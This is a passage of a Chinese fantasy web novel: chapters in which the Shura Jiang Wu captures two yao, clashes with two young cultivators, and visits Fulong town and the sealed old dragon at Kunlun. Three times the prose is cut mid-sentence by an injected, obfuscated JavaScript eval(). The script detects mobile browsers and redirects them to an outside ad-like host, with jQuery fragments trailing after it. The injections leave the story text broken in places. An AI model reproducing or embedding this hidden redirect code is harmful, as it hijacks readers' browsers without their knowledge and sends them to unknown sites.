雾沅的话还不曾说完,便看到睢羲周身的戾气如同烈火一般将他裹了起来,眨眼之间便离开了这里。 雾沅神情有些无措,他抿了抿嘴唇,只能走上前将寂满扶了起来,“你还好吗?” “很明显,我不太好,这个东西到底怎么解开?”寂满一脸烦躁地说,“还有那个两个人到底是谁?” 雾沅无奈地拍了拍寂满的肩膀,“你不要招惹他们,连你父亲也要让他们三分的。” 寂满狐疑地问道:“他们有这么厉害?你莫不是狂骗我的吧。” 雾沅摇了摇头,“我何时骗过你?” 商扶庭站在血泊之中,看着自己满手的鲜血,四周是他死去亲人的尸体,幼时的噩梦顿时袭击了他。 “父亲!母亲!” 商扶庭嘶声力竭地凄厉喊叫着。 十年前,商家于边陲小城做着来往贸易,生活安逸又富足。七岁的商扶庭正是猫狗都嫌弃的年纪,时长让家中的长辈忧心,于是便将他送至了学堂之中,但是他自称边城小霸王,做出的荒唐事不限于上树掏鸟窝,拔先生的胡须等等。 先生常常恨铁不成钢地用戒尺敲着自己的手心,“扶庭啊,你如此的不争气,可让你的父母该怎么办啊?!你的父母送你来学堂读圣贤书,你却如此顽劣,一点都不让你父母省心,不让你父母脸上有面。” 商扶庭对着先生做了个鬼脸,“我父母才不管我呢。”说完,他将桌上的毛笔书籍一股脑地收拢进自己的布包里,招呼着隔壁的小虎一溜烟跑出了学堂。 商扶庭还记得那日的夕阳很红,如同血一般,又艳又烈,地上的血和天边的夕阳相融交汇,难分彼此。 后来,他这才知道,稳固了很多年的无幻之境结界破了,里面青面獠牙又可怖的修罗跑了出来,将他所在的小镇屠杀殆尽。 等各路修士闻声赶来时,这里只剩下了半腐不化的尸骨。 商扶庭看着四周如同人间炼狱一般,那些修罗就像是从地狱中爬出来的恶鬼,对边城的人族进行毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106416|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人道的虐杀,甚至啖血吃肉,好不残忍。 原本跑在了他前面的小虎,被突然冲出来的修罗撞成了一滩肉泥,圆溜溜的眼珠子和着鲜血滚落至商扶庭的脚下。 “小......小虎?” 商扶庭疯了一般地往家的方向跑去,他希望推开门是母亲的笑颜,是父亲骂他不争气的怒容,一件一件数落他今日的所作所为,是耳背的祖母疼他,将他拉至身后,往他手里里塞入一把剥好的瓜子仁。 商扶庭推开门,鲜血争先恐后地涌了出来,粘湿了母亲今日刚给他赶制出来的新鞋。 “骗人的吧。” 商扶庭又哭又笑地看着躺在院子里的三具尸体,他扑上前,手脚并用地爬到母亲身边,只见母亲瘦弱的身体被开膛破肚,因为突然的移动而破口中流淌出来大量的鲜血与内脏。 “骗人的吧!母亲!母亲!!!” 天空突然落起了红雨。 商扶庭也不确信到底是上天不忍惨状流下了血泪,还是在肆意冲刷着那些修罗留下的罪证。 院门突然被推开。 商扶庭伏在母亲冰凉的身上,雨水模糊了他的视线,以至于他看不清来者的模样,只能神情麻木地看着那人一步一步走上前,他希望是突然折回的修罗,最好一刀砍下他的头颅,好让他们一家团聚,如果不是...... 姜芜持着一把伞走进商扶庭,七岁的商扶庭像是一只小兽一般,蜷缩着身体靠在母亲的怀中,为自己营造出一种母亲只是睡着了的美好假象。 姜芜矮身,她将伞举到商扶庭的上方,拿出帕子仔细地擦干净他的脸。 “你在想什么?” 商扶庭眼神空洞,机械般地回复着姜芜的话,“我在想为什么?” “什么为什么?” 商扶庭嘴唇干裂,一开一合之间鲜血流了出来,“为何会这样,我们在这里安居乐业,为何要遭受此灭顶之灾?”说完,他便抬眸看向了姜芜,漆黑的双眸中是滔天的恨意。 “你想要做什么?” “我恨!我恨!我恨!”商扶庭低头咬住姜芜的手指,直到温热的血液流进他的口中,缓解了他的干渴,他松开口,恶狠狠地说:“我要杀尽天下修罗!” 姜芜轻轻地一笑,“修罗很难杀的,你确定吗?” “我确定。” 姜芜幻化了一支匕首递给商扶庭,“那你能够战胜自己吗?一直痛苦地待在这个幻境中,可不能杀尽天下修罗哦,反而会让你一遍一遍地失去自我,最终死在这里面。” 商扶庭二话不说,握着姜芜的手腕,将匕首便刺入了自己的胸口中,他的双眸紧盯着姜芜,嘴唇痛到发白颤抖,也不曾示弱般地哼出一丝的呜咽。 姜芜缓缓地睁开眼,她看着因为力竭脱力而晕倒的商扶庭,松了一口气,眼角的余光扫向空无一人的身后时,脸上又浮现出了难以言喻的失落。 寂满说:“别看了,人早就走了,你赶紧过来给我把身上的束缚解了,我还能跟你好好说话。” 姜芜抬手的瞬间,寂满身上的束缚立刻消失了个干干净净。 寂满活动着酸胀的身体,“算是识时务。” 姜芜看着满地的尸体,开口问道:“你们把这里搞成这个样子,想怎么收场?” “怎么怎么收场?还不是拍拍屁股走人?”寂满整了整自己身上的衣服,“难不成你还想抓我们去长衡山问罪?” 姜芜笑眯眯地看向寂满,“不会的,我不会抓你们去长衡山问罪的。” 寂满被姜芜笑得心中发麻,正准备三十六计走为上计,低头一看自己又重新被戾气捆了起来,这次还包括在一旁修养的雾沅。 “但是我会抓你们去昆仑问罪!” 寂满这才意识到了危机,厉声大喊了起来,“你这个疯女人!!!放开我!!!” 7. 合作 【大荒·昆仑山腹地·龙潭】 睢羲轻而易举地穿过毒瘴来到一处洞穴前,他撩开新旧混杂的藤条,抬脚走了进去。 “你来了,多少年未见了?” 苍老的声音从洞穴内部传来出来。 天光从石壁的缝隙间倾泻而下,洋洋洒洒地落在睢羲的黑衣之上,与上面缝制的宝石交相辉映,形成一副银河流淌的画面,宝石的光芒在睢羲的脸上留下斑斑点点的光。 “记不清了,时间在我们这里最是无用。”睢羲看着洞穴深处被封印中的老龙,“感觉你老了许多。” 老龙不屑地一笑,他抬手幻化出一副水镜,看了看镜中自己的面容,随即又抬起暗黄色的眸子去看睢羲,“和你比起来是有些,不过在面容上谁能比得过你们修罗一族?” 老龙将水镜推到睢羲面前,他眼中的男人换算成人类的年纪,不过三十岁上下的模样,身形高大,乌发披落在身后,束发的只有一根简单的链条,肤白似雪,面容昳丽,眉目如画,令世人所惊叹。 老龙心中泛起一丝旖旎,更多的是感慨,修罗一族乃天生地长的天道宠儿,依靠戾气而生,诞生便有无限神力,不需要勤加修行便能够一骑绝尘,世人常道‘修罗一族,青面獠牙,喜食夜啼小儿’,不过是一群未曾见过他们雌雄莫辨面容而感到恐惧的痴狂俗人。 “这么多年,你真是一点未变。”老龙感慨,“不过造化弄人,你也是快要走到头了。” 睢羲面上露出一丝嘲讽,他垂眸深深地吐出一口浊气,“我本就是顺应天道而生,顺应天道而亡又如何,之前不过是大意才被一个人类玩弄于掌中,你看看你这经久难愈的伤口,真的甘心吗?还是说大荒境内满处的荒芜,能抚平于你心中的怒火?” 老龙沉默了片刻,随后他愤愤地嘶吼了起来,“七百年了,我被封印在此处整整七百年了,论不甘,我才是那个最不甘心的人。从头到尾都是我的错,是我轻信了那个人类。” 肆虐庞大的妖力在整个洞穴中爆开,如利刃一般无差别地攻击着洞穴内的一草一木,弱小的精灵在一瞬间便被碾压至消散。 睢羲挑眉,他神情冷漠地看着面前无能狂怒的老龙,内心毫无波澜,他伸手拽住自己的披风,嫣红的双唇轻启,“段怀野他回来了。” 老龙外泄的妖力再瞬间停了下来,他的龙爪攀住一旁的石壁从阴暗处爬了出来,混浊的双眸死死地盯着睢羲,“你说什么?” “我说段怀野回来了。”睢羲说,“不过,他现在寄生于一个十七岁的少年身上,因为无幻之境结界的日益削弱,他们现在想要重新封印我们。你说,我们还会重蹈昔日覆辙吗?” “不可能!”老龙怒吼,“不仅不会,而且我还要报昔日之仇!不将段怀野碎尸万段,我誓不为妖!不过,你倒是有备而来?” 睢羲轻笑了一声,似是自嘲又似是自哀,“我能有何打算?用人类的话便是风烛残年之身,不过我不会再让无幻之境被再次封印,物竞天择本就是自然法则,天道既然生我们,便不是让我们屈居于弱小的人类之下。论目的,我们是一样的。” 老龙伸出自己的龙爪,将一节若木神树递给了睢羲,“这些年大荒境内,有不少人类前来猎杀妖兽,采取奇珍异宝,九大神木已经枯死殆尽,这是仅存的若木之根,必然是你所需要的东西。我给你,算是我们合作的诚意。至于颙鸟精火,怕是他们有命去无命回。” 老龙仰天长叹,双眸中流出一颗混浊的泪水,原本死去的精灵又奇迹般的活了过来,“当年是我轻信了段怀野,将大荒灵气分去人间一般,害得幼子难以化型,被这境内的残暴之息折磨至死,到底是我亏欠他们。” 睢羲接过老龙手中的若木,垂眸道:“人类狡诈,花言巧语,我们都没错。” 老龙出声问道:“段怀野寄生的那个人是谁?” 睢羲说:“五行道尊,商扶庭,太初剑已经认主了,错不了。” 老龙沉默了下来,他盯着睢羲看了片刻,“你似乎有心事。” “不谈这个,我一个将死之人,谈再多也无用。”睢羲藏在广袖中的手指轻轻地捻了捻,“寂满和雾沅在人间做了些事情,你知晓吗?很快他们就会来找你了。” 老龙哼笑了一声,“我不信,你若真抱着这种心思,还会来管这些事情吗?难道不该跟濯濯珍惜剩下的时光吗?再说了,段怀野不过是一介凡人,纵然杀了很多的修罗和妖族,不过修炼几百年就足够置你于死地了吗?你莫不是诓骗我,实则另有目的吧?” “你信或不信都于我无关。”睢羲抬手捏了一缕戾气给老龙,“有需要可以随时找我。” 老龙声音沙哑地笑了几声,“知晓了。” 【伏龙镇】 商扶庭醒来时,发现自己身处一间破庙内,沈确还在他身侧昏睡着,等他确定后者气息平稳并无大碍时,才打量起四周。 雾沅正在一旁打坐调息,时不时抬袖阻挡一番寂满制造出来的灰尘。 姜芜抱臂站在一旁,她笑着看向寂满,“没用的,你的修行之路还长着呢。” 寂满呛咳了几声,随即爬起来继续朝着姜芜冲了过去,“我不信,我打不赢你这个疯女人。” 姜芜只是挥动自己的衣袖,顷刻之间便化解了寂满的招式,“你们妖界后继无人了吗?你不是妖王的后代吗?龙生九子,你应该是最不出名的老十吧,你的那九个哥哥们呢?” 雾沅闻声挑眉,缓缓地睁开了自己的眼睛,面无表情地看着姜芜。 寂满泄了气,索性坐在地上不再起身,他垂着头沉默着。 姜芜偏头去看寂满,有些好奇地问道:“怎么了?这就气馁了?” 雾沅实时开口道:“他的哥哥......” 寂满倏地抬起了头,他眼眶通红,怒视着雾沅说:“不要告诉她!” 姜芜察觉到一丝不对,收敛了脸上的笑容,她俯身到寂满面前,看着后者的眼睛问道:“大荒发生什么了?” 寂满狠狠地擦了一下眼睛,朝着姜芜示威道:“跟你一个修罗有什么关系,你不是要把我带去大荒昆仑山问罪吗?那你就自己去看看好了。” “谁允许你们回昆仑山的。”商扶庭持剑站了起来,“他们两个既然在人界犯事,而且伤害的还是人族,按理应该交给长衡山五行道宗问罪。将妖族交给妖族问罪,只会徇私枉法,所以为了公平起见,他们必须由我带回五行道宗。” 姜芜起身,她向前走了几步将寂满和雾沅挡在了身后,“年轻人,做人处事要懂得变通,若木之根和颙鸟精火还在大荒地界,你就不能为了大局,卖妖尊一个面子,用他们来换去圣物吗?” 寂满瞪大了双眸,指着姜芜开始拆台,“好你个疯女人,原来你之前跟我说的都是哄我的!你这个疯女人,虽然不是人类,但是阴险狡诈学了个十成十,两头骗!” 雾沅扶额,有些无奈地叹了一口气。 商扶庭蹙眉,“现下是在何处?” 姜芜回道:“昆仑山下伏龙镇。” 商扶庭眉头稍松,他将目光放在了寂满身上,突然勾唇笑了起来。 雾沅见状心中隐约觉得有些不对劲。 “你知道这里为什么叫伏龙镇吗?” 商扶庭脸上的笑容渐浓,却将掌中的太初剑握得轻颤。 “你在跟我说吗?”寂满有些不解地看着商扶庭,他起身扫了扫衣袍上的灰尘的稻草,顺着后者的问道,“为什么这里叫伏龙镇?” 商扶庭说:“这里原先是不叫伏龙镇的,根据五行道宗书阁中人间记载明,这里原先是叫现龙镇,五百年前,太初道尊于此将恶龙封印,所以这里才改名为伏龙镇的,听刚刚你们的谈话,你应该就是那恶龙之子吧?” “我杀了你!!” 寂满幻化出龙爪便朝着商扶庭冲了过去,势必要掏出他的心脏。 商扶庭见计谋得逞,面上没有丝毫的恐惧,反而面色不改地迎了上去。 “等等!” 姜芜还不曾出手阻止,寂满的龙爪便刺入了商扶庭的胸口之中,锥心之痛如蛆附骨,姜芜捂住气血翻涌的胸口,偏头缓了片刻才将口中的血沫咽了下去。 “先别杀他。” 姜芜喘匀了气,抬手抹掉了嘴角的血迹,“我跟五行道宗签了血契。” 雾沅上前捏住了姜芜的手腕,探查了片刻才说:“除了血契之外,恐怕还有别的东西吧。” 寂满推开了商扶庭,甩了甩手上的鲜血,神情不解地看着姜芜,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜芜身形不动,寂满的刀刃排山倒海直奔面门而来,她只是伸手夹住了长刀,如同魔鬼一般气势汹汹的风雪遇到了巍巍高山,顿时偃息旗鼓。 “只要我想,没人能从我的手底下逃脱。” 姜芜双眸一眯,将手中的长刀掷向一旁,左手如爪直接将寂满勾到身前,随即狠狠地将他按到地上。 “小蛟龙,明白了吗?” 姜芜红色的双眸紧盯着寂满,然后缓缓地站起了身,动作不急不慢地整理了一番略显凌乱的袖口,脸上带着一丝未收的邪性,“还有谁想来试试?不想听我讲道理也可以,除非比我更强。” 雾沅双眸微颤,修罗天生地长,顺应天道戾气而生,根本不是他们妖族修行几千几万年能够比拟的,只怕当年全盛时期的圣人段怀野也未必能与他们一战,但是事实却与传闻背道而驰。 雾沅掐诀念咒,“姜芜!告诉我你的目的,我不信千万年的情谊你能割舍得如此干净。” 姜芜只觉得一阵恍惚,随即便破了雾沅的幻境,“不该看的事情不要看,不该知晓的事情便不要知晓。” 雾沅后退半步,他只觉得双眸刺痛,他抬手阻挡了一番姜芜的戾气,“你难道是为了人族口中的正道吗?段怀野给你灌了什么迷魂汤,以至于他死去几百年,还有你这种背叛全族的叛徒存在?” 姜芜面色一寒,她迅速逼近雾沅,伸手掐住了后者的脖颈,“你想死吗?” 寂满撑起身体制止道:“不要杀他!” 姜芜挑眉,随即松开了手,脸上带着天真无邪的表情,“我看起来像是要大开杀戒的样子吗?”说完,她转头看向了站在一旁护着沈确的商扶庭。 “你呢?还想要带他们回五行道宗问罪吗?” 雾沅跌坐在地,白皙纤长的脖颈上多了一圈紫红色的掐痕。 商扶庭神情坚定地说:“自然,我本就是五行道宗的弟子,自然......” 姜芜无奈地叹了一口气,她抬手掐诀将一道赤红色的戾气注入了寂满体内,“寂满,去打赢他,别杀死就行。” 寂满身形一怔,随即便觉得那道戾气游走周身的经脉中,像是要将他的身体撑爆一般,他咬牙忍痛道:“你这个疯女人,对我做了什么?” “戾气而已,如果你能吸收得了,可以有助于你的修行。” 雾沅倏地看向姜芜,开口问道:“当年你给了段怀野多少戾气?” 姜芜蹙紧了双眉,她扭头看向雾沅,用戾气封口,“闭嘴。” 8. 伏龙 寂满被怒火和戾气左右撕扯着,他幻化出双剑直逼商扶庭,“我打不赢那个女修罗,我还打不赢你一个区区金丹吗?” 沈确率先取过长剑迎击,她抵住寂满的双剑,一时之间太阿剑上白光大盛。 姜芜见状,右手半握抵在下颌处,一副看好戏的模样,“唉,太阿剑可是妖族的克星啊。寂满,你行不行啊?” 寂满挥剑砍向沈确,在后者躲开后又直逼商扶庭,他咬牙切齿地回复姜芜,“要不就来帮忙,要不就闭嘴。区区两个金丹期修士而已,我这分明是在欺负他们。” 寂满说完之后周身妖力大盛,绿色的妖力似沼泽深潭缠上双剑,隐隐之间伴随有龙啸。 姜芜看向一旁的雾沅,轻轻打了一个响指,解开了雾沅身上的禁制,“蝶妖,去帮忙。” 雾沅张开双臂腾空而起,黑色的纱袖在空中猎猎,恍若一只蹁跹的蝴蝶。 “师兄!” 沈确扭头看向商扶庭,后者微微颔首,她迅速后退,与商扶庭并肩而立,两人一同举起手中的长剑,太初和太阿两把长剑分别散发出夺目的纯粹之光。 两人抬手掐诀,挥舞手中的长剑,将寒冰与烈火附着与长剑之上。 五行剑式——第一式:秋河落日。 气势浩荡,吞天沃日。 两人虽为金丹期的修士,即便是面对千年的妖怪,脸上也没有丝毫的惧怕之意,他身上背负着修真界除魔卫道的重任和希望,只能手持长剑,剑之所向之处便是心之所往。 “啧,麻烦。” 姜芜脚底下腾起逼人的戾气,罡风自下而上,将她的衣角吹至纷飞,接着戾气凭空化刃,姜芜抬手一挥,利刃直接冲向了面前的四人。 寂满暗骂一声,跟雾沅有些狼狈地躲避着,“疯女人,你做什么?发起疯来是不是敌友不分?” 商扶庭见状,迅速跟沈确收剑回防。 “谁跟你是友,谁又跟你的敌?”姜芜抚了抚自己的袖子,“你们两个不是很会用毒吗?给那两个修士来一点,省得他们一直在浪费时间。” 商扶庭抬眸去看姜芜,抬手擦掉嘴角溢出的一丝血迹,“你也就只会用这些下三滥的手段。” 姜芜神情冷漠地看着商扶庭,抬手轻轻一指,几道戾气凭空打入两人的穴道中,“他们的修为已经被我封住了。” 沈确咬牙,“士可杀不可辱!” 姜芜勾唇,“没想过要杀你们,只是让你们听话一些,毕竟带孩子让我非常的头疼,尤其是你们这些不听话的孩子。” 商扶庭质问道:“你到底想要做什么?” 姜芜挑眉,“很简单,我只是想要封印无幻之境的圣物而已。” “你确定不要是毁掉它们吗?你身为一个修罗,真的要背叛我们来封印你的家园吗?”商扶庭说,“而且,凭借你的实力,根本不需要五行道宗的协助。” 姜芜缓步走到了商扶庭面前,“如果你的太初肯给我的话,我自然不需要你们这些累赘。” 商扶庭厉声道:“不可能!” 姜芜毫不意外商扶庭的答案,只是微笑着说:“所以,看在我帮五行道宗寻找圣物,没有功劳也有苦劳的份上,到时候把太初剑借我用用如何?我可是很讲信用的。” 商扶庭沉默,他抿紧了双唇,只是盯着姜芜。 姜芜支起腰身,“蝶妖,还不动手?” 雾沅不解地看向姜芜,但依旧在两个人身上下了一种慢性毒,随后将解药扔给了姜芜。 “太初剑,当年段怀野用千万修罗血骨炼制而成,据说能杀死永生不灭的修罗,姜芜,你要这个来做什么?”雾沅苦笑一声,“总不能是为了杀死睢羲,给段怀野报仇吧。” 沈确面色一紧,追问道:“师祖到底是因何羽化的?” “你真的蛮善解人意的,就是好奇心太重了。”姜芜看了一眼手中的瓷瓶,并没有回答沈确的问题,神情却变得有些耐人寻味,“把他们绑起来吧,我们准备出发了。” 寂满松手的瞬间,两把长剑顿时如流光般消散,他打不过姜芜,为了免受些皮肉之苦便只能听她摆布。 寂满脸上露出了一丝近乡情更怯的窘迫,“回昆仑就回昆仑,左右不过是回自己家,有什么好怕的?我父亲还能偏心你们不成?” “几个时辰之后再说吧。”姜芜垂眸思索了片刻,“我们好不容易来这里,当然要去镇上去逛逛了,要不多浪费时间啊。” 寂满疑惑地看姜芜,他指了指自己的头说:“你没毛病吧?刚刚还觉得他们在这里浪费时间呢,结果你转头就要去镇上逛?人间到底有什么好玩的?” 姜芜撇了撇嘴,“反正我要去,你们可以在这里等着。”说完,她便散掉破庙里的结界,抬脚走了出去。 雾沅没辙,只能跟寂满带着两个小道士去了伏龙镇。 姜芜之觉得在闻香镇时有些可惜,所以在伏龙镇上只觉得所有的东西都有趣,不停地在每个商贩摊前乱逛,遇到心仪的小玩意就会出钱买下来。 伏龙镇并不大,是一座能将主街一眼看遍的小镇,或许是临近昆仑圣地的缘故,这座镇上的人并不多,但是寂满却硬生生走出一种在天都城的错觉。 伏龙镇的正中央伫立着太初道尊段怀野的等身石像。 姜芜几乎对每个无聊的东西感到有趣,只是几盏茶的功夫,她便往自己的乾坤袋中塞不下数次。 寂满神情不耐烦地说:“我说你还有完没完了?一些破烂你也要,在大荒这种东西就是扔在地上也没人捡。而且都是小孩子的东西,你都多大的人了?” 姜芜从货郎的竹筐里拿起了一只万花筒,“这个好玩,出来之前我是不是说过不需要你们一起,我既没有让你们付钱,也没有让你们拿东西,更没有让你们跟着我,你倒好恩将仇报,坏我心情。”说完,她便将万花筒的钱递给了货郎。 寂满神情一噎,他看了一眼身侧的雾沅,随即凑到姜芜面前,低声问道:“喂,我问你一个问题,你活了这么久,有后代吗?你们修罗一族跟我们有什么区别吗?也会寻找伴侣吗?” “我记得你父亲在你这个年纪的时候,已经有好几个后代了,你呢?不能还是个童子□□?”姜芜挑眉,“你有病就去治,不是所有种族都像你们一样注重繁衍生息。” “阴阳结合也是顺应天道,再说了,童子鸡怎么了?已经被这个世界所不容了吗?”寂满戳了戳姜芜的手臂,“你就发发慈悲,满足一下我的好奇心。” “不想发慈悲满足你的好奇心。”姜芜摇了摇头,接过摊主递过来的点心,白白胖胖的白糖发糕刚出锅,散发着香甜的热气被包裹在油纸里,“你要吃吗?” 寂满看了一眼姜芜手中托着的点心,双眸发亮,下意识吞了吞口水,随即偏过头,干巴巴地说:“我才不要吃这种人类食物。” 商扶庭和沈确辟过谷,自然也不会吃。 几块白糖发糕便只能被姜芜和雾沅分食掉。 临近正午十分,姜芜带着几人在伏龙镇最大的酒楼落脚。 商扶庭看着面前一桌的菜肴,有些不解地问道:“你不是说时间紧迫吗?这又是在什么?” “吃饱喝足才有力气上路。”姜芜手中执着酒杯,双唇靠近杯沿,轻抿了一口其中的果酒,“像你们这种金丹期的修士,如果不好好补充一番体力,别说是大荒腹地了,估计连昆仑山都走不出去的。” 沈确闻言,端起面前的饭碗便开始吃饭。 商扶庭看了沈确一眼,随后也拿起筷子给沈确夹了一些肉菜,“阿确,你多吃一些。” 姜芜欣慰地看着两个人,余光扫到两只目光灼灼的妖时,有些不自然地咳嗽了一声,随即转头看向窗外的冬景。 “妖都像你们两个这样好奇心重吗?” 寂满如实道:“主要是我们几乎没有见过修罗,所以自然对你们好奇一些。” 姜芜见雾沅将要开口,立刻抬手打断了他,“一个妖对修罗族感兴趣,一个要对我的过往感兴趣,你们两个到底想怎样?” “只要你告诉我们,我们保证不再追问你了,我保证!”说完,寂满还担心姜芜不信,特意伸出三根手指对天起誓。 姜芜的神情有些无奈,正当她想要图个清净告诉他们一些过往时,一阵醒堂木打断了她的思绪。 “今日,我们继续来讲伏龙镇的由来,上回书说到伏龙镇的前身为现龙镇,当年是有真龙现身于这座小镇,随后才被人命名为现龙镇。” 食客问道:“那为什么后续又改名为伏龙镇了呢?” 说书人打开折扇轻摇了片刻,笑着说:“这就不得不提到太初道尊了啊。” 食客好奇地问道:“这跟太初道尊又有什么关系啊?莫非这条龙后来霍乱人间,被太初道尊所收复了?” 寂满倏地看向了说书人,墨绿色的妖力在掌心翻滚着,预备一击便毙了那满嘴胡言的说书人。 姜芜伸手按在了寂满的手腕上,“不急,听听人类口中的段怀野。” “有什么好听呢?”寂满偏过头,手上的妖力立刻收了回去,“一个无耻之徒,败类而已。” 沈确将筷子拍到了碗上,“你说谁是败类呢,你嘴巴最好放干净一些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106418|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芜手指上用了些力。 寂满看了姜芜一眼,随后便偏过头不再搭理沈确,神情愤愤地嘀咕道:“自己都是个半妖,不过是让人类养大,难道就忘了本了吗?” 说书人说:“这太初道尊说是我们人类的救世主也不为过啊,当年灵气与戾气纠缠于世间,妖族与修罗一族更是以屠戮我们为乐于我们人族而言根本无法存活,使得世间常常处于兵荒马乱之中,普天之下没有一处安宁之地。于是天降圣人,让太初道尊来拯救我们,他将天地之间的戾气引入无幻之境,并将其封印,又布阵让妖界的灵气能够源源不断地供给人类,圣人又怕妖族与修罗一族报复,创立五行道尊,广收门徒,维护世间安定,这才有了我们的如今的生活啊。” “这太初道尊真是神仙派来拯救我们的圣人啊。” “如果不是太初道尊,我们现在还不知道被妖族和修罗族欺辱成什么样子呢。” 说书人重重地叹了一息,“可惜啊,好人没好报,圣人在完成封印时,惨遭修罗毒手,可惜啊,可惜啊。” 食客纷纷义愤填膺,大骂修罗一族无耻。 姜芜看着小台上的说书人,用酒杯一下又一下地磕着桌面。 雾沅见姜芜面上浮现出丝丝怒意,立刻开口问道:“当年杀死太初道尊的就是睢羲吧。” 商扶庭立刻放下了碗筷,一瞬不瞬地盯着姜芜,迫切地希望得到一个答案。 姜芜停下了敲击的动作,双眼一转看向了雾沅,动作有些僵硬,片刻后她垂下了双眸,将杯中的果酒一饮而尽。 姜芜脸上的笑容绽开,“既然吃饱了,我们就启程吧,不要再浪费时间了。”说完,她便起身离席,往酒楼外走去。 夜半,伏龙镇内段怀野的石像突然从中间裂开,随即化成了齑粉散落在原地。 【昆仑之门】 巍峨的昆仑山矗立在众人面前,带给人铺天盖地般的威压,白雪从上至下倾泻而下,寒风猎猎,铁铅色的云恍若触手可及,萦绕于昆仑山体四周。 姜芜往手心里哈了口气,她拢紧了身上的氅衣,回头对寂满说:“愣着做什么,开门进去啊。” 寂满拢着双臂,瑟瑟发抖,一边向前走,一边抱怨道:“这昆仑山可真不是人待的地方。还是你有远见,一直穿着件氅衣。” “因为无幻之境里像是大荒的炎天地,所以出来之后到哪里都会觉得很冷。”姜芜看了一眼面不改色的两个小道士,随即对寂满说,“亏你还是个千年大妖呢,都比不上两个金丹期的修士吗?” 寂满冷哼了一声,抬手结印,金色的光芒从他的身上溢出,随即他便感觉到了一股巨大的吸力,不等他惊诧,一行人便被吸入了黑洞之中。 几人直接从半空中摔了下去。 姜芜稳住身形,缓缓地落到了地上,她抬头看了一眼四周堆积成山的白骨,随即对着黑暗笑着说:“老龙,好久不见了。” 商扶庭和沈确立刻警惕了起来。 寂满揉着摔痛的屁股爬了起来,他惊讶地看着封印之地,“唉?我们怎么来到我老爹的封印之地了?” 姜芜走到洞内的石桌前,抬手一挥便出现了一套煮茶的工具,“既然来了,肯定就是你父亲让我们过来的。正好,我们也不用千里迢迢地去找他了。” 洞内黑色的影子逐渐地聚集到一起,老龙幻化出人形坐到了姜芜对面。 姜芜面不改色地将冲好的茶水倒进老龙面前的杯中,“我就长话短说了,这次来找你一是因为你儿子在人间犯了点事,被五行道宗盯上了,二是想跟你要若木之根和颙鸟精火。” 老龙轻笑了一声,他执起茶杯,抿了口其中的热茶,“这么不巧,前几日睢羲来找我叙旧,我一高兴将若木之根给了他。来,让我听听你们在人间做了些什么。”说完,他便转身看向了其余四人。 “哦,你们还带了两个五行道宗的修士?” 老龙的目光落到了商扶庭和沈确身上。 商扶庭握紧了手中的太初剑,只见老龙一身玄色长跑,如血一般的红色宝石镶嵌其上,在黑暗之中恍若有血光流淌,他依靠在石桌旁,单手撑额,浑身却散发着独属于万年大妖的气势。 “五行道宗,商扶庭。” “五行道宗,沈确,见过妖尊。” 老龙的人形年纪在四十岁上下,面容清俊,银色长发用精美无比的发冠束起,或许曾经为神籍的缘故,周身没有一丝的妖气。 “商?扶庭?” 姜芜将茶杯放在了盏托上,清脆的声音回荡在整个洞穴之中,“你和睢羲,你们两个做了交易?” 9. 契约 老龙感觉到了姜芜的不悦,他面上依旧笑盈盈地说:“老朋友叙叙旧而已,我见他面色不佳,送他个小玩意,他愿意做根发簪就做跟发簪,愿意弃之一旁便弃之一旁,反正不是什么稀罕物。” 沈确蹙眉,脸色有些不悦地说:“不是什么稀罕物?若木乃大荒八大神树之一,若木之根居然不是什么稀罕物,而且拿来做发簪也太暴殄天物了吧。” 姜芜面上带笑,“还有多余的吗?” 老龙挑眉,面上风轻云淡地说:“我大荒凋零至此,神木也将要枯竭,哪里还有多余的若木之根。濯濯,你若是需要的话,可以去找他要,他不会不给的。” 老龙说完,饶有兴趣地看着姜芜。 姜芜垂眸,掩盖掉其中复杂的心绪,她面不改色地往煮壶中添入收集的露水,“若木之根的事情先不提,你要不要听听雾沅和寂满在人间做了什么?” 雾沅闻声站了出来,他撩开衣袍跪在了老龙面前,“一切因果全在我身,还请尊上惩罚。” 老龙看了姜芜一眼,随即挥出几颗硕大的夜明珠,整个洞府被照得恍若白日。 “濯濯,你知道事情的经过吗?” 姜芜摇头,“这种事情我也不好开口评判什么,还是听听当事人是怎么说的吧。”说完,她便从煮茶的火炉边取了一枚烤至滚烫的龙眼,放温之后剥开来放入了口中。 商扶庭神情一怔,抢先说:“王小姐如何?” 寂满扭头去瞪商扶庭,“你还好意思提王小姐,不是你一剑杀了她吗?她对雾沅有恩,雾沅的本意是不想让她死的,你倒好不管三七二十一,提剑杀了人家。” 商扶庭抬眸,当即反驳道:“满口胡言,我根本没有杀王小姐。我踏入李府时,王小姐虽然被寄生,但是尚有本意存在,只要带回长衡山让师尊施法祛邪,温养几日便可无碍。再者,王小姐只是一介凡人,是一个弱女子,我怎么会杀她?” 姜芜说:“确实是你杀了王小姐,但是你本意是要杀雾沅的,只不过王小姐不想雾沅死,替他挡了剑而已。” 